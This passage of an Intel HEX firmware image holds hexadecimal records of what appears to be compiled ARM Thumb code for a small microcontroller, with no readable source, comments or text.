:10348000FF7F000010B50C000FF035FB631E1842E3 :1034900007D00200230003490348EFF7C1F8F3F710 :1034A000FFFF10BD8A600300D0A6020010B54A6875 :1034B0000249D2000FF089FD10BDC046B260030082 :1034C00070B5060014000800002A0FD07168042AA5 :1034D00010D1FFF7D7FF7368012B03D0022B07D061 :1034E000006800E000780FF0C9FA0400200070BD09 :1034F0000088F8E7FFF7C6FF05002000F9F78EFA0D :103500007368054C012B03D0022B03D02860EDE734 :103510002870EBE72880E9E724DD020030B58DB0A4 :1035200005006846F3F796FF011E10D12A1D012001 :103530000EF04CFC0122EB6804005B1001335B00D1 :103540001343EB60F3F7A4FF20000DB030BD0198EA :10355000054A0368934205D0044A00249342F3D0FD :10356000F3F79EFF0024EFE7A4A502004CA302009E :10357000044B0B6003684B60436808008B600123B9 :10358000CB60704760D30200F0B52F4D85B02F009F :10359000B43703972A00FC32536C2C498B4201D874 :1035A00005B0F0BD043B53642A00AC321668032416 :1035B00000221B68013299188808305C21404900BC :1035C000084120400228F5D0032603991B01096811 :1035D0001201CB18D21802921B4A02998B42D9D001 :1035E0000F211868084229D119490968814225D854 :1035F0001400B8342468844220D9401A010901918A :103600001100AC3109688009019C08180178344028 :1036100064008C462141314001290FD13700A74079 :103620003C0067463C4304701400FC34606C094F56 :10363000B84205D2011D6164019901600433CCE7F1 :103640001000BC30F9E7C046842E0020442F002033 :10365000382F0020C42F00200F23994370B5060097 :103660000D00081A412107F017F90F4C0200230042 :10367000B033186023002100AC331E608301EB1AC5 :10368000B4310B6023003000B83300211D6015F009 :103690009EFF8023FC345B020122A364002352427C :1036A000E3642265636570BD842E0020A222034975 :1036B00052008B5A01338B527047C046842E002033 :1036C000A222034952008B5A013B8B527047C046DD :1036D000842E0020A223034A5B00D05A431E984147 :1036E000C0B27047842E0020F7B50400032589007E :1036F00043180193019B9C4200D1F7BD0F23216821 :10370000194229D1184B1A00B43212688A4223D8C0 :103710001800B830006888421ED9891A1A000F09AB :103720003800AC321268890951180A7828404000E4 :10373000944602412A40012A0ED12E0086403000D4 :103740006646304308701800FC30416C074EB142A9 :1037500006D20B1D43640F60FFF716FF0434C9E760 :10376000BC331A60F8E7C046842E0020C42F002026 :10377000A22210B508485200835A01000133835237 :1037800003000022FC33BC310A60DA64034A2721BB :103790005A64FFF7A9FF10BD842E0020442F00209B :1037A000F8B503262E4C00252200BC321368AB422C :1037B00013D102221900032794462200B032126866 :1037C000920091422AD323000022FC335A654532ED :1037D000FF32A35A013BA352F8BD23001560214AD2 :1037E000FC335A642300B0331B689B009D42D9D23E :1037F0002200AC321268AB08D35C2A00324052007F :1038000013413340032B07D12200FC32536C191DA6 :1038100051641D60FFF7B8FE0135E3E72000AC30CE :1038200000688A08801802780D0016003D406D007F :103830002E413E40022E09D0032E0BD0012E07D17F :103840003B00AB409A430270012301E0002BF7D10B :103850000131B2E76346AB409A4302700023F7E7B9 :10386000842E0020442F0020334BF0B51A0019009D :10387000B832B43109681268521A1900B0331E68A0 :10388000026003230022AC310F68140011009C4633 :1038900042608260C260026142618261B600654638 :1038A0008B08FB5C0D406D002B4165462B40456845 :1038B000012B2CD0002B24D0022B2BD001318E4297 :1038C0000AD065468B08FB5C0D406D002B416546B8 :1038D0002B4001D0012BE2D1012C1FD1056901350C :1038E00005618569A54200D284618E4201D0012B19 :1038F000D5D1C368934200D2C2608E4214D0002258 :10390000CDE784680132013484601C00D6E70135BC :103910004560FAE7013545600134CFE7022CE0D17C :10392000456901354561DCE743681B0143608368F5 :103930001B018360F0BDC046842E0020F7B50F3018 :103940000309019302D100263000FEBDA223474A9D :103950005B00D35A002BF6D14733FF33D35A5E4274 :103960005E41002B07D0414BFC33DA6C1B6D9A4251 :1039700001D3FFF713FA002430203F273B4A3B4B8B :10398000B0321268FC339446384A5B6DAC32116831 :103990009C4505D8002ED6D1FFF700FA0136EBE79B :1039A0000325CA5C2A4230D1019D0134A5422DD89D :1039B0009B001A1B501C012C04D12C4F5E1CFC37A1 :1039C000B6087E6503252F00860889190126074061 :1039D0007F00BE40AC460F7802323E43234F0E704C :1039E000AC37934233D2214D204BFC35EA6CB433D3 :1039F00094461E680001019B361863442201002191 :103A00003000EB6415F0E3FD9EE700240C252A420C :103A100006D1019D0134A54203D89B000133C8E7BC :103A20000024024206D1019D0134A54203D89B0027 :103A30000233BEE70024BA4306D1019A0134A24200 :103A400003D89B000333B4E700240133A0E73D68AB :103A5000664691086918022516407600B5402E008A :103A60000D7801322E430E70BBE7C046842E002035 :103A7000A22230B5164B52009A5A002A26D10028AD :103A800024D01A00B4321268801A1A00FC32546D25 :103A900001098009A04200D25065AC33180003220E :103AA00004688B08E3180C00150014406400A5405E :103AB0001C780131AC431C7004688B08E35C0C007B :103AC0001440640023411340022BE9D030BDC046AE :103AD000842E00200F2330B5034026D1144A110054 :103AE000B431096881421ED81400B8342468844275 :103AF00019D9AC32401A146805098009215C0322E7 :103B00002800104040000141114001290BD1013330 :103B1000E9188808205C1140490008410100114063 :103B20000229F4D01B01180030BD0023FBE7C0467A :103B3000842E0020F0B585B007000D000292002809 :103B400007D101002800FFF7F9FE0600300005B09C :103B5000F0BD002903D1FFF78BFF2E00F6E70F23FE :103B600000260340B342F1D153481E000200B43294 :103B70001268BA42EAD80100B8310968B942E5D9F9 :103B8000BA1A110900910100AC31096892098A5CE6 :103B900001910321009C214049000A4103210A4070 :103BA000012AD3D14231FF31415A0029CED1290017 :103BB0000F310909B0308C46016803268900039152 :103BC000210014000131039A914212D201988A080F :103BD000825C08003040400002413240022A02D19B :103BE00001340131EFE7002A03D10133E2186245C5 :103BF000F7D3644501D13E00A8E7644521D9009B75 :103C0000032663441900009B0800E218AC239C467D :103C1000294B9C44634605001B6884081C1933002B :103C200035406D00AB40257801309D4325709042B2 :103C3000F0D1214B8908FC335A6D9142DBD2596592 :103C4000D9E71B19634523D3032502261A49009B94 :103C5000AC31E3180191009A62449A4209D8634654 :103C6000191B090120010A003818002115F0AFFCCA :103C7000C1E70199180009689A088A18310028409C :103C80004000814008001178013308431070E2E7DA :103C9000029E002E00D159E700212800FFF74EFEBA :103CA000061E00D152E72201390015F074FC3800DD :103CB000FFF7DEFE4AE7C046842E002010B58CB028 :103CC00005A8FFF7D1FD079B0A4C03930093059AC3 :103CD000069B094920000FF078F9089B099A019387 :103CE0000B9B06490393009320000A9B0FF06DF98C :103CF0000CB010BD34B70200016103002461030061 :103D0000F8B5434E434F3300B4331A684249380084 :103D10000FF05BF900243300B0331B689B00A34213 :103D200023D93F2214422CD132002500AC32106836 :103D30000321AA08825C294049000A4103210A4262 :103D400002D10135AB42F3D12A1B7F2A12D9920945 :103D5000324938000FF039F92C003F239C433300DF :103D6000B0331B689B00A34204D838002C490FF0E5 :103D70006EF8F8BD2B4B22011A402B4938000FF08A :103D800024F93200AC321268A308D35C032222402B :103D900052001341032213403A32022B31D0303209 :103DA000032B2ED03F3A012B2BD13300B4331B68A9 :103DB0002201D3581D4954228B4222D01C49083A73 :103DC0008B421ED01B49083A8B421AD01A490F3237 :103DD0008B4216D019498B4213D01949123A8B42A3 :103DE0000FD018498B420CD0174905328B4208D0AE :103DF0001649043A8B4204D015490B328B4200D04D :103E00001B32144938000FF0E0F8013483E7C04654 :103E1000842E002034B70200C2600300DD6003007E :103E20008E6F0300F0FF0F00F96003006CD10200F9 :103E3000FCC1020098CC020040BB020020B9020085 :103E400070AD020034AD02000CAB020094DF020042 :103E50006CB20200DC1803000523020070B5094CA7 :103E6000094D2068434309489B189B0018582B684C :103E70002260C0180F23194009012860EEF72AFAC2 :103E800070BDC04630020020F4010020C0DC0200FA :103E9000A839030000B5080006292ED806F0E8FC72 :103EA000040A10161B2128009A18E223DB00D218FE :103EB000107800BDC4329200D05C8006800EF8E716 :103EC000C4329200D05AC004400EF2E7C4329200CD :103ED000D0580003F8E7C43292009A18907800098D :103EE000E7E7C43292009A18D0780007000FE0E7A5 :103EF000C43292009A18D078F1E7024B024A0020AF :103F00001A60D6E71800002069610300A83910B5CF :103F100004000800062949D806F0AAFC040A141F68 :103F20002A343F00E221A218C9005218137010BDB4 :103F30003F210B401800C4329200135D8B430343B2 :103F40001355F4E77F21C432920019401948135BDE :103F5000890103400B431353E9E77F21C4329200E8 :103F600019401059144B490303400B431351DEE72A :103F70000F20C4329200A2181901937803400B431A :103F80009370D4E70F210B401800C4329200A2189E :103F9000D3788B430343D370C9E70F20C432920018 :103FA000A218D1781B0101400B43F4E7034B044AEC :103FB0001A60BCE73FE0FFFFFF1FF0FF1800002082 :103FC00087610300F0B5D2B285B00E0003930721DC :103FD00013000B40013BDBB2042B02D9284C294DC6 :103FE00025608A4319020191002A21D1264B347899 :103FF000C35C1B09DB43E31ADBB202930825234BA6 :10400000019A1B199B5C5F005BB2FFB2002B34DA94 :104010001A210320013DEDB2FFF71EFF3B00002DEA :10402000F1D10134029BE4B29C42E7D134701AE032 :10403000D4431749E4B2CF5C0825144B019A1B19ED :104040009B5C5E005BB2F6B2002B0FDA052102200A :10405000FFF702FF013DEDB23300002DF1D1013435 :10406000E4B2002CE8D1039805B0F0BD390001207E :10407000FFF7F2FE002FE9D0ECE706210420C9E7A4 :10408000180000207461030019070000FF66030098 :104090005A6D03000022F0B505000F00FF200F2429 :1040A0008BB008AB654EDA710100C4318900691824 :1040B0008B781A09B25C234012011343CA788B70C3 :1040C00013071B0FF35CA243234013431A09B25C8E :1040D000234012011343CB700138E5D2E223DB0009 :1040E000EE5CB308F31ADBB20493554B1B68002B4C :1040F0000BD0E222C4218120D200890000013B00C4 :10410000AA1869182818F0F725FE002448230294FD :1041100003930194009481222B1912019B181B78A0 :10412000180005930723984320D008A92300059A77 :1041300007312800FFF746FF0230C4B2023FFFB24A :10414000002F78D02B780393013EF6B2002E47D192 :10415000E2222B19D2009B181E78B308F31ADBB2A7 :1041600004930023029301930093D4E7354B009A04 :104170009C469A5C2300C4339B00EB18997809098C :104180000A4331498A5C019907926246DB78525CA6 :104190001907090F0A432C491B098A5C2B4906920F :1041A000029A8A5C06991343079A8A182649C95CC1 :1041B00001238918FF2A00DC031CC918882309067B :1041C0001B06C918090F0020FFF746FE039B013BA1 :1041D000DBB20393002BB7D10134E4B2013FAEE769 :1041E000049B013BDBB20493002B02D1059B002B07 :1041F00018D12200C4329200535D00999B069B0E99 :10420000CB18DBB20093535B0199DB045B0ECB1838 :10421000DBB201935359029A1B035B0ED318DBB236 :10422000029378E708A92300059A07312800FFF7D1 :10423000C9FE04008CE70BB0F0BDC04683620300EA :10424000FC0100204F6C03005B640300FF6503006A :10425000064B1B5C002B05D0054B185C4143C91174 :10426000C8B27047034B185CFBE7C046AB65030060 :1042700024640300E4620300064B1B5C002B05D0A2 :10428000054B185C4143C911C8B27047034B185C19 :10429000FBE7C046AB6503005F6D030034630300BA :1042A000F0B5037A8DB004007F2B00D157E10300F5 :1042B000070000250933FF330837099301953E783D :1042C0007F2E00D087E000230693019306998B0090 :1042D000E31803931A7A481C1B7BC0B206907F2B0D :1042E00000D11BE19F49CE5C8D5C9F49AE4200D05E :1042F000F1E08D5CCB5C0493039B597A019B5918C8 :10430000CBB20193049BEB18DBB20793023B1B0675 :10431000DCD4A827019B5D1BEBB20593A82F00D02E :10432000E1E0039B039A5B7A527B5B085208991881 :104330000291019901988A18E221C31AD2B2DBB224 :10434000C900A218E31852185B18157818782D1AAE :10435000EDB27F222B006DB293430893EB17E81860 :104360005840029906F008FC2800CBB20299099344 :1043700006F01CFB059A00251600C3B20A93029BA7 :104380009B18DBB20B93320039002000FFF780FD51 :104390000A9B01360B9AC018F6B2C3B2964200D1FE :1043A000B6E0099AAD18029AEDB2AA420DD8AD1A3C :1043B00020216A4652181278EDB252B2002A00DA71 :1043C000A4E0002B01D00133DBB232003900200021 :1043D000FFF79CFDD7E7012E77D12B003100019A22 :1043E000200012F029FEBA78604BA1789B185B7808 :1043F00030000193FB780893FFF72AFF3F23E17811 :10440000034030000293FFF737FF7F22584B9B5D3C :104410001A40584B03929A5D0F231A400492564A51 :10442000925D1A400592554A925D1A4006923F22CB :10443000534B9B5D07937B78EB18DBB20A93029B8F :10444000134002937F23184083019C462A003F219A :10445000C4329200135D0F268B4302990B43135510 :10446000135B48490B4061460B431353039B1059A0 :104470005903454B03400B430498190C314000018C :1044800013510843A21890701B0E0598B343069968 :10449000034309011E400E43D67081226319079918 :1044A00012019A181170E222D2009B180899019A01 :1044B000013552181A700A9BEDB29D42C6D1099B74 :1044C0000437BB4200D0FAE6FDE6022E8BD12B006A :1044D000019AFF2184E72D48AE4201D9C55C09E766 :1044E0008D5C835C07E7049B019A39009A18D2B26D :1044F0002000FFF7CDFC059A050039002000FFF7EA :10450000C7FC079B2D1AEDB2029322E7013B5BE744 :104510000137FFB2AF2F00D000E7D7E602318900A4 :104520006118019B497859186368C9B2002B13D1EF :10453000E22381221648DB001201E318A518001BB4 :104540001A18C4329200125D1E789206D20EB21A68 :104550001A7001339D42F3D12000FFF79BFD0DB08F :10456000F0BDC046946203005B6503004F6D03001D :104570008463030093610300E3610300336203007B :10458000FF6B03003FE0FFFFFF1FF0FFD46303005A :10459000F0F8FFFF10B502490EF059FC10BDC046FF :1045A000966D03008022044B52001A600123034AD7 :1045B0001360034A1360704700E100E00C8C004078 :1045C000008000408022054B5200DA67044BFF3A1E :1045D0005A600022034B1A607047C04604E100E0B5 :1045E000008000400C8C004070B5002501261E4B59 :1045F0001E4C1D601E4B18601E4BE650C046FFF758 :10460000E1FF1D4B1D4AE660E25002221C4BFF20D9 :10461000E5500433E25008339218E250C12380225F :104620009B001203E250053BFF3BE550C2244022B1 :10463000144BA400195981430A4380211A510C34A8 :104640001A5909061202120A0A431A51C0220434E6 :10465000195981430A431A51802212041A60802298 :1046600052041A6070BDC046D82F00200080004060 :1046700044020020FC0F00004C05000070170000F1 :104680000405000000E100E070B51F4C1F4D636C95 :10469000002B0AD0002363641D4B1B689847A82396 :1046A000DB00EA5800018018E850A36C002B09D009 :1046B0000023A364164B5B689847164B0001EA5829 :1046C0008018E850E36C002B0AD00023E364104B01 :1046D0009B689847A923DB00EA5800018018E8503E :1046E000236D002B0ED000230B4A2365AB580B49DA :1046F0005B18AB500A4A1368063313608022094BDB :1047000012045A6070BDC046FC800040008000402A :104710005C000020440500004C05000070170000FC :10472000D82F0020FCE100E0F7B50191032823D841 :10473000134B8000C758C223124D9B00EF5001233A :1047400044192364A8230F210F4EDB009C46E35835 :10475000AE59921BD218D3170B409A1801990B4BE4 :104760001211C150C1239B00EF506346002001325B :1047700012019619E650FEBD01204042FBE7C046FB :1047800064DD0200008000404C0500005C00002059 :1047900003280BD8074B8000C158C223064A9B0050 :1047A000D150064B064AC2500020704701204042BB :1047B000FBE7C04664DD0200008000405C00002092 :1047C0008570020010B5024B1B68984710BDC046AB :1047D0004402002070B50025054C2368002B02D050 :1047E00000222260984701350434042DF5D170BDB4 :1047F00034020020074A89008B58002B06D18850CC :1048000080211800044A4904516070470120404249 :10481000FBE7C04634020020FCE100E010B5034B8A :10482000186813F0DEFA0EF029F910BD642A002092 :1048300010B5034B186813F0DBFA0EF01FF910BD2A :10484000642A002010B5034B186813F0D8FA0EF054 :1048500015F910BD642A00201FB500210320FEF7C2 :1048600049F90A4B0400196801A813F0ADFA019840 :104870000EF004F9A06002980EF000F9E0600398D1 :104880000EF0FCF82061200004B010BD642A002066 :1048900010B5F4F749FB0023064A99008958814274 :1048A00005D001330C2BF8D10348ECF7EBFC1800D2 :1048B00010BDC04670DD02009B6D0300094A70B553 :1048C0001378002B0DD1084D2C78E4B2002C08D1C0 :1048D000013313702B70054B186803685B689847A9 :1048E0002C7070BD012E0020022E0020642A0020B2 :1048F00010B5FFF7E3FF054B186813F0A1FA044B5E :104900008000C3580620DB00184310BD642A002035 :1049100070DD020010B50800FFF7BAFF0400FFF7D2 :10492000CDFF054B186813F08BFA044BA04200D062 :10493000034B180010BDC046642A0020B4AD02002D :10494000ACAD020010B50800FFF7A2FF0400FFF7AE :10495000B5FF0123A340064A064811880B4200D147 :1049600005481188994311800022044B1A7010BD2C :10497000C62D0020B4AD0200ACAD02000B2E00200D :10498000F8B5FFF79BFF144C14482378002B22D076 :1049900020780021C0B2FEF7ADF801260022104FAA :1049A0002378934215D9010008310D0011005308F6 :1049B000FB5C314089000B410F210B4009499B00F2 :1049C0005B580621DB000B43290095004B51013257 :1049D000E6E700232370F8BD0B2E002064D102000F :1049E000032E002070DD020070B543885A1E0A2A8B :1049F0001FD801252A009A400F490888024392B225 :104A00000E480A8002780F2A13D802780C4CEA402C :104A1000A25C0678D2B20F212E420BD00A401B01B5 :104A200013430278DBB25208A35403780133DBB29C :104A3000037070BD8A43F3E7C62D00200B2E0020C3 :104A4000032E0020F0B58FB0079242680893944679 :104A50000368040003939B6804300093634403607D :104A60000D0012F012FB0690606812F024FB431C4C :104A700063600378A04A0193831C6360437800213C :104A80000093C31C636083780493031D6360C37841 :104A90002000029323001033A360069B14309A1861 :104AA00093000593C318E360059B0C331A00099328 :104AB00014F08DFD009A069B9B1A049A0A939E1A85 :104AC000371D009ABF00E7190123AA4200D36DE009 :104AD000019A1A4207D12B00009A88498848EDF7BD :104AE0009FFDF2F7DDFC009B03369900089BB600A2 :104AF0005918009BA619E81AFDF7FCFF009B043F1C :104B00007060089A09999B0061189B1804399A42B1 :104B100000D078E0079B002B03D1019B1B0700D43A :104B2000D0E002230026019A1A400992B24204D032 :104B3000079810F093FA060038600027039BAD0039 :104B4000DB680B93089B5D19079B9F425ED1029B1C :104B5000039903339B00CB1800210A9E029F053660 :104B6000B600A219002F00D07DE0059B02992033EA :104B70008900E3185218934200D97DE0009B143E4F :104B80009D000B9BA6195D19049B9F4200D27DE0FE :104B900065680DA80D9512F078FA28180378451C61 :104BA000FF2B00D09DE065600FB0F0BD019A1A4266 :104BB00005D00336B600534BA619043F7360079B1C :104BC000002B16D1019B1B0713D4009B029A9A1A43 :104BD000AA4216D8029B009A5B199B1A039A9B0063 :104BE000D3182A0005991C316118009804338242B9 :104BF00001D32B0085E79000DE6840420E50013261 :104C0000F3E72B0069E701CA48617FE7009B04983E :104C100000221B189C462968944505D8099B002B47 :104C20001CD1CA0838490EE00B9B900018588842E6 :104C300012D1069B013B9B1A9B00E3185A69002A7C :104C400005D0CA0831492E48EDF7EAFC49E76A6801 :104C50005A610137083577E70132DDE76A683000CD :104C600010F035FAF5E75058002802D1484218589C :104C70005050013F043175E70432111F09680029C3 :104C800000D078E79A1A92102149DCE73269002AAD :104C900010D10820019B296803420FD0029B039882 :104CA00004339B001858043001F082FD002805D021 :104CB000436833610137043E043565E72A681549C6 :104CC000D208C0E7049B002B02D01348ECF79EFCEF :104CD000019B9B0700D45BE7049810F0BFF9386094 :104CE00056E7069A561EF61AB600A6197069ECF732 :104CF0002DFF7061280051E7FDFFFF3F2B080300E7 :104D000058A6020064D10200DC190300FD1903005B :104D1000AB6D0300DD6D03000D6E030030B507249D :104D20000278084DA24314000222224302707F221F :104D3000039C41602240D400028883602A402243C1 :104D4000028030BD07FCFFFF10B50B00072401787F :104D50002340A14319437F23017004990A4C0B405F :104D6000D9000388426023400B430380039B0468FF :104D70005905064BC90A23400B430360029B83601D :104D8000059BC36010BDC04607FCFFFFFF03E0FFAB :104D9000F0B5124B87B003AD40C9013800930195BF :104DA0000323EDF7FBFA68680D4F1E24B84202D0CA :104DB00010F0B2F944B2A8680023B84202D010F053 :104DC000ABF943B2706803994371047104F0CCFCF1 :104DD000706805F033F8380007B0F0BDE4DE02007B :104DE00024DD020030B5124B8BB003AC20C9013872 :104DF000009301940323EDF7D1FA616806A812F03D :104E000014FB039B089A5900237A00936868079B58 :104E100003F050F8021E05D006490748EDF700FCE4 :104E2000F2F73EFB06A90548F4F726F80BB030BDB3 :104E3000FCDE0200346E0300F0A4020020B9020080 :104E400030B5114B89B002AC20C9013800930194F0 :104E50000323EDF7A3FA012205A96068F7F76CFFB9 :104E6000029B059A5900237A00936868069B03F019 :104E700031F8021E05D005490548EDF7D1FBF2F7E0 :104E80000FFB044809B030BD14DF0200466E03007A :104E9000F0A4020024DD02000021F8B547680800F4 :104EA0000EF0C6FC08250600B1223B68D2009D50DA :104EB000802200209200190098500122FC319A6053 :104EC00088605A61104A8868002803D1002A19D0E6 :104ED000013AF8E70024A24204D00C4A9C586342ED :104EE0005C41E4B2380004F0A9FF002C05D0012198 :104EF0006B0019433000F6F7E9FB0135782DD3D16B :104F00003000F8BD1400EDE710270000C4040000D5 :104F1000F0B5060087B000AFBA607B60F960ECF7CF :104F200041FEB06812F0C1F83861B06812F0C3F801 :104F300012F0BBF8032343433A699B189B001D0002 :104F40007B6114352C2B2CD86B460735ED08ED0012 :104F50005B1B9D4600236C467B61002326606360DB :104F6000BA687B68F9682000FFF76CFD154D0021D9 :104F70006B682000236173686B60F7F7E9FE2369B3 :104F8000061E6B6013D1A3681D687B69002B04D0DB :104F900020000DF037F8002E11D12800BD4607B0D3 :104FA000F0BD28000DF00CF8041ED6D1CCE73B690B :104FB00003339B00E3185D687B69002BE8D1280070 :104FC000F2F76EFA842E00200122030030B5134060 :104FD00085B004004510002B14D125491D008842DE :104FE00010D0244988420DD0234B1500984209D097 :104FF0000323034009D1214A0168914205D10DF0F4 :105000007AFD0500280005B030BD1D4A250022406C :10501000062A05D0002B08D11A4B22689A4204D1E7 :1050200001A92000F4F7B2FBEBE72000F7F7E6FB5D :10503000154B984207D1FF23DB05E0180323984363 :1050400006F040FDDDE7114B984202D0104B98422C :1050500006D101AA69462000F7F758FD019DD1E766 :10506000022201A920000EF067FE0028CAD0F5E751 :1050700024DD0200ACAD0200B4AD020004C60200A3 :10508000070080FF40BB02000CAB02006CD10200A5 :10509000FCC10200F7B506000F0000920193041E48 :1050A00000D044683800431E984120180430800026 :1050B0000CF079FF0C4B050003600C4B5B68436000 :1050C000009B8360019BC360002E05D03100A200CD :1050D0000831103014F05FFA002F02D00434A4001D :1050E00067512800FEBDC04694DF0200842E0020D8 :1050F00070B5060010200D0014000CF054FF034B97 :10510000466085600360C46070BDC04658DF020021 :1051100000237F2803D8034B1B5C9B07DB0F180081 :105120007047C046596E030000237F2803D8034B05 :105130001B5C1B07DB0F18007047C046596E03004D :1051400000237F2803D8034B1B5C5B07DB0F180091 :105150007047C046596E030000237F2803D8034BD5 :105160001B5C5B06DB0F18007047C046596E0300DE :1051700000227F2808D8054B0132195C0C23194204 :1051800002D15F384242424110007047596E03001D :1051900000237F2803D8034B1B5CDB06DB0F1800C2 :1051A0007047C046596E030000237F2803D8034B85 :1051B0001B5C9B06DB0F18007047C046596E03004E :1051C00010B54A6801490DF000FF10BDF905030054 :1051D00010B50D4C206812F0AEFE002807D00B4B26 :1051E0001B78002B03D1206803685B689847002375 :1051F000074A1370074A1370F0F7FAF8F8F7E4FD5E :10520000F5F778FD10BDC046682A0020D02D00209B :10521000CF2D0020012E002070B5050094B000288D :1052200004D13F480BF0F6FF14B070BD08A8F2F7A8 :1052300011F9041E19D12E68290004A80122F0F7E3 :105240001DFA23002200310004A8FDF74FFA0400E4 :105250000320EFF741F920000CF0A9FD01204042A6 :10526000EFF73AF9F2F714F9DEE701204042EFF7E1 :1052700033F909992B48F7F7FDFA0998F7F7BEFAC1 :1052800029490400F3F7BCFC0028CDD127492000B0 :10529000F3F7B6FC0028C7D1099C01AA6946200093 :1052A000EDF75EFA02AA322104A800F029F9009B6A :1052B000022B05D9019B1E495A6802A80DF085FEF4 :1052C0002000F7F79BFA1B4BC2689A4210D1236863 :1052D00019495A6802A80DF078FEE368002B07D040 :1052E0005A68002A04D00022996802A8F7F79EFAAB :1052F0000320EFF7F1F804A812F0D4F800F0D4FB83 :1053000004A812F0A3F801204042EFF7E5F80B4B98 :105310009A6C002A00D187E700229A6484E7C0468D :105320000F6F030034B702001CA60200C4A30200E2 :105330003C6F0300DD240000456F0300842E002035 :10534000F8B54E4C1321200013F0A9FE20000321D4 :1053500013F05EFF4A4C01234A4A1321200004F057 :1053600015FC01220221200004F040FC464C2000E4 :1053700001F004FE454F3860200002F013F8444D60 :105380002860102014F08CF8040029680025414E94 :105390003A68330002F04AFB3F4B1C603F48ECF791 :1053A000E1FBE120C000ECF7EDFB3D493D48FEF795 :1053B00053F9EBF71DF900F0F3FAEEF7F9FB01F002 :1053C00043FC300013F0FEF90EF053FDF1F73AFB09 :1053D000FBF7C4FAECF794FBECF7FEF9324C3348D8 :1053E000230088331D60FFF7FFF8FFF7DBF8ECF7C9 :1053F00005FA2F4F3B78012B0ED1002307211A000D :105400002C48F1F727FC031E1DD00100F7204000B7 :10541000F1F7A6FDFFF700FF3B78002B2AD1F2F74A :1054200043FF0028F8D0244812F006F9FFF7CAF825 :1054300008220021214814F0CAF8230098348C3344 :105440001D602560AAE7F822920211784D2909D142 :105450005178502906D1F72052881949400012F09E :1054600041FAD7E7012217491720EBF743FE0CF06A :10547000C8FCD1E7F2F768FFD3E7C046482A00200E :10548000602A002073730200E82A0020642A0020AA :10549000682A0020702A00206C2A0020004000208A :1054A000482A002048020020842E0020D15101000B :1054B000E9000020496F0300516F0300042F002012 :1054C00004E0030064D1020010B5084C084A06212C :1054D000200002F07DFB074A0749200013F0F2FF8D :1054E00000221E21054813F077F910BD702A002014 :1054F00040E1020000000020897B0100E82A002032 :1055000070B50500140011F07FFF024B2560636049 :1055100070BDC046D173020010B50C007F2906D8BB :10552000012111F0B1FF002800D0047010BD224B02 :10553000994210D8022111F0A7FF0028F6D040238D :10554000A2095B42134303703F232340802464423B :105550001C434470EAE7194B994214D8032111F017 :1055600093FF0028E2D02023220B5B4213433F210C :1055700080220370A30952420B400C401343224384 :1055800043708270D2E7042111F07EFF0028CDD055 :105590001023A20C5B4213433F2103708023220B94 :1055A0005B420A401A434270A2090A400C401A4367 :1055B0001C438270C470B9E7FF070000FFFF0000C2 :1055C00007B5034B009068460193F2F777FA07BDE1 :1055D000D1730200074A03005069002806D04268D0 :1055E0009A4204D89B1A04339B00185870470068ED :1055F000F3E7C046842E002070B5144D04006B699B :105600009868DB68834215D30230C0000CF0D8FCE8 :105610006B69002803D198684000EBF71DFE5A68BB :10562000D96803609B6852185B0083600023426066 :10563000C36068616A69D3685068591C04339B0071 :105640000138D16040189C5070BDC046842E0020A7 :10565000074B4118884204D3D8B2002800D101304A :1056600070475A01D318027801305340F2E7C04620 :1056700005150000034B044A5A6100229C331A604E :105680007047C046842E002058E10200F0B585B076 :1056900001900E00FFF7DCFF144B02905C69002CB8 :1056A00001D120001EE0270010373D00E3689B0079 :1056B000FB180393039B9D4201D32468EFE72868FE :1056C000029A037893420FD14378B3420CD102304F :1056D0003200019913F051FF002805D1ED1B6068DD :1056E000AD10281805B0F0BD0435E3E7842E002086 :1056F000F0B585B003900191FFF7C8FF002857D19E :10570000304D019B9C35DC1C2B68002B17D02D4F96 :105710002C4EA437A0363A683168A2188A422BD999 :105720000200611818000CF069FC029000281DD1DD :105730000200396828680CF061FC029B2B6026008F :10574000802C00D2802630000CF03AFC1D4D2F003A :105750009C37386000282DD120000CF031FC260049 :105760003860002826D12000EBF776FD33681B193E :1057700033602B68002BE2D0124A1249A43213681E :105780009C310D68E41801990398ED181460FFF737 :105790005FFF019B28701A006B70A81C039913F01F :1057A000FAFE0022019B2800EB189A70FFF724FFF5 :1057B00005B0F0BD2B00A0331E600023A4352B6084 :1057C000DAE7C046842E0020F7B51D00160000233E :1057D000070003600B6033602B60174B00915C691E :1057E000002C02D0154B9C4204D133682A68D31890 :1057F0002B60F7BD3B6801333B60E268009B944639 :105800001B68009A0193634413602200E36810321E :105810009B00D3189A4207D32000FEF75BF92B6850 :10582000246818182860DBE702CA3068497803301A :1058300009183160EEE7C046842E002058E10200CE :105840000C4B70B55C69002C02D00B4B9C4200D114 :1058500070BD2600E36810369D007519AE4201D375 :105860002468F0E704CE0549023205480DF0ADFB8F :10587000F4E7C046842E002058E10200656F030063 :1058800034B7020010B512F042F9014810BDC0460D :1058900024DD020010B5C30708D483070ED10368C6 :1058A000094A934202D0094A934207D1F7F78AF88E :1058B000002801DD11F0CDFE054810BDF7F7E8F82E :1058C00006F000F9F4E7C04604C60200BCAD0200D1 :1058D00024DD020001220B4B10B51A600A4A516800 :1058E0000029FCD000215160A1220131D2009A5838 :1058F00059600323D0171840801880100DF0BEF8AF :1059000010BDC04600C00040FCC0004010B50028DB :1059100004D1044801F0C6F8034810BD0868F7F741 :1059200051F8F7E7E703000024DD02000048704764 :1059300010EF020010B50400034B0360403012F07A :10594000E9F8200010BDC04670EF020010B50F4C02 :10595000200013F0C9FA002808D0200013F096FAAE :105960000B4B1B68984202D1EEF7C4FD10BD3F21DE :10597000084A138801330B40074909888B42F5D048 :105980001188064C13806054F0E7C046002B0020BD :10599000802E0020C82D0020CA2D00200C2E0020B3 :1059A000002210B5044B05491A80054B05481A80A2 :1059B00013F09FFA10BDC046C82D00204D590100BC :1059C000CA2D0020002B0020034B1888034B1B8896 :1059D000C01A431E98417047CA2D0020C82D0020D0 :1059E000084A094B10881988884201D130BFF9E76D :1059F00013880649C85C3F21138801330B4013808C :105A00007047C046CA2D0020C82D00200C2E002053 :105A100070B504004518AC4205D02178024813F057 :105A200039FA0134F7E770BD002B002070B504008F :105A30004518AC420DD02378064E0A2B03D10D2118 :105A4000300013F027FA2178300013F023FA0134E4 :105A5000EFE770BD002B002070B504000825002C76 :105A600008D02100082C00D929000348641AFFF748 :105A7000CFFFF4E770BDC046DD8B030070B50500B5 :105A800004000826002C08D02100082C00D9310081 :105A90000448641AFFF7BCFFF4E72800FFF7DCFFB7 :105AA00070BDC046D48B030010B5010001480EF054 :105AB000B6F910BD24000020142313B5064C009342 :105AC00019221821200002F0EFFB044A04492000AB 